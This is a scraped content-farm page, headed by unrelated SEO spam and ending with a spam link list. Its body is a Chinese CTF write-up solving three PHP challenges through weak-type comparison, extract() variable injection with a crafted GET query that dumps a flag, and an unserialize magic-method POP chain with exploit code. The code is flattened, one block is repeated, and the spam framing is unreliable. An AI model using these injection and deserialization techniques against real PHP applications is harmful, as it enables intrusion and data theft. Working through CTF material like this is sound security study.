当前位置: 首页 > news >正文

荆州做网站公司最好seo资料网

荆州做网站公司最好,seo资料网,吴桥网站,一般做网站用什么字体比较合适1.除夕 php的弱类型,用小数点绕过 这里后面直接加字母不行 2.初三 error_reporting(0); extract($_GET); include "flag.php"; highlight_file(__FILE__); 这里通过extract将get的参数导入为了变量 $_function($__,$___){return $__$___?$___:$__; }; …

1.除夕

php的弱类型,用小数点绕过 这里后面直接加字母不行

2.初三

error_reporting(0);
extract($_GET);
include "flag.php";
highlight_file(__FILE__);

这里通过extract将get的参数导入为了变量


$_=function($__,$___){return $__==$___?$___:$__;
};

这里通过了

$_是这个函数的变量 $__ $___是函数接收到的参数

通过三元运算 即 $__ == $___ 来比较参数是不是相同,相同返回$__  ,不相同返回$___

$$__($_($_GET{$___
}[$____]{$_____
}(),$flag));$$__($_($_GET{$___}[$____]{$_____}(),$flag));

这里$$__和后面的分开来看,$_就是上面的自定义函数,这里我们分析函数是没有输出能力的,所以$$__就是var_dump用于输出后面的内容,回到函数 传入的第一个参数$__就是$_GET{$___}[$____]{$_____}()第二个参数就是$flag,回到上面的函数中,我们要输出$flag 就是输出$___,在上面的三元运算中知道,$__和$___一样就会返回$___所以我们构造$_GET{$___}[$____]{$_____}()为$flag 或者为true

这里配合extract我们就可以传入$__的参数为var_dump 即 /?__=a&a=var_dump

因为还有()所以是个无参函数,

<?php
phpinfo() == 'zx';
//bool(true)

弱类型中phpinfo()是true这里使用phpinfo

这里的

$_GET{$___}[$____]{$_____}

这里的三个$___ $____ $_____都是通过_get获取的,这里也是个三维数组,其中第一维的键名为$___,第二维为$____,第三维为$_____我们可以传入类似/?___=b&____=c&_____=d的get请求,这个就是一个三维数组$_GET['b']['c']['d'],所以我们构造['b']['c']['d']=phpinfo,最后我们再传入x[b][c]=phpinfo,就完成了三维数组的构造

?__=a&a=var_dump&___=b&____=c&_____=d&[b][c][d]=phpinfo

3.初六

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-01-18 08:46:07
# @Last Modified by:   h1xa
# @Last Modified time: 2023-01-18 11:19:09
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/include "flag.php";class happy2year{private $secret;private $key;function __wakeup(){$this->secret="";}function __call($method,$argv){return call_user_func($this->key, array($method,$argv));}function getSecret($key){$key=$key?$key:$this->key;return $this->createSecret($key);    }function createSecret($key){return base64_encode($this->key.$this->secret);}function __get($arg){global $flag;$arg="get".$arg;$this->$arg = $flag;return $this->secret;}function __set($arg,$argv){$this->secret=base64_encode($arg.$argv);}function __invoke(){return $this->$secret;}function __toString(){return base64_encode($this->secret().$this->secret);}function __destruct(){$this->secret = "";}}highlight_file(__FILE__);
error_reporting(0);
$data=$_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){$secret = $obj->getSecret($key);print("你提交的key是".$key."\n生成的secret是".$secret);
highlight_file(__FILE__);
error_reporting(0);
$data=$_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){$secret = $obj->getSecret($key);print("你提交的key是".$key."\n生成的secret是".$secret);

通过这一段我们知道反序列化后先回调用getSecret而在happy2year中

 function createSecret($key){return base64_encode($this->key.$this->secret);}

这里把两个变量进行了拼接,也就是把对象当作了字符串会触发tostring

  function __toString(){return base64_encode($this->secret().$this->secret);}

里面调用了secret方法而不存在这个方法所以回触发call

    function __call($method,$argv){return call_user_func($this->key, array($method,$argv));}

通过$key = $_POST['key'];我们找到了可以构造的参数key

在回调函数中第一个是函数 也就是这里的$this_key被当成了函数执行回调用invoke

function __invoke(){return $this->$secret;}

调用了$this->$secret 但是secret是私有属性触发get

 function __get($arg){global $flag;$arg="get".$arg;$this->$arg = $flag;return $this->secret;}

get中$arg=get 拼接 $arg 而get($arg)他接收的就是secret 也就是$arg=‘getsecret’

然后$this->$arg=$flag 

给一个未定义的属性赋值时,触发__set

 function __set($arg,$argv){$this->secret=base64_encode($arg.$argv);}

set中接收$arg $argv $arg就是getsecret  argv就是接收的数据$flag

这样.sercrt里面就有了flag

exp
<?php
class happy2year{private $secret;private $key;function __construct(){$this->key=$this;}}
$a=new happy2year();
echo urlencode(serialize($a));?>

三次base解码得到flag

http://www.dt0577.cn/news/9187.html

相关文章:

  • 想学网站设计惠州seo网站排名
  • 一起做业网站天津seo优化排名
  • 如何做测评视频网站公司网站定制
  • 苏州知名网站建设建站公司今日新闻最新消息
  • 精简新闻网站开发今日国际新闻大事件
  • 企业网站开发市场百度指数查询官方网
  • 做企业网站的头部什么配色长尾关键词排名系统
  • 温州做网站就来温州易富网络网站注册
  • 如何测试自己做的网站百度指数查询官网大数据
  • 那个网站可以免费做风面网络营销软件代理
  • 免费的图片做视频在线观看网站网络营销策划书1000字
  • 梅州网站建山东济南seo整站优化公司
  • 做网站需要板块百度收录网址提交
  • 那个外贸网站做的好邢台网站网页设计
  • 上海建设银行网站seo排名怎样
  • 张家港专业的网站制作公司推广一手渠道
  • 快速做网站公司哪家好网络公司seo推广
  • 药品和医疗器械网站icp备案前置审批流程网站推广和宣传的方法
  • 深圳罗湖做网站的公司网站排名优化查询
  • 商务网站设计方案东莞疫情最新通知
  • 惠山做网站公司网店代运营骗局
  • 没内容的网站怎么优化760关键词排名查询
  • 无锡企业网站建设seo新手入门教程
  • 运河建设集团网站今天上海重大新闻事件
  • 大型网站有哪些用php做的怎么推广公司网站
  • 请将已备案网站接入访问武汉seo全网营销
  • 安徽省工程建设监管和信用平台网站网站推广计划书范文
  • 企业网站建设案例分析情感营销经典案例
  • wordpress 内容居中seo如何优化的
  • 信息课做网站的软件淘宝定向推广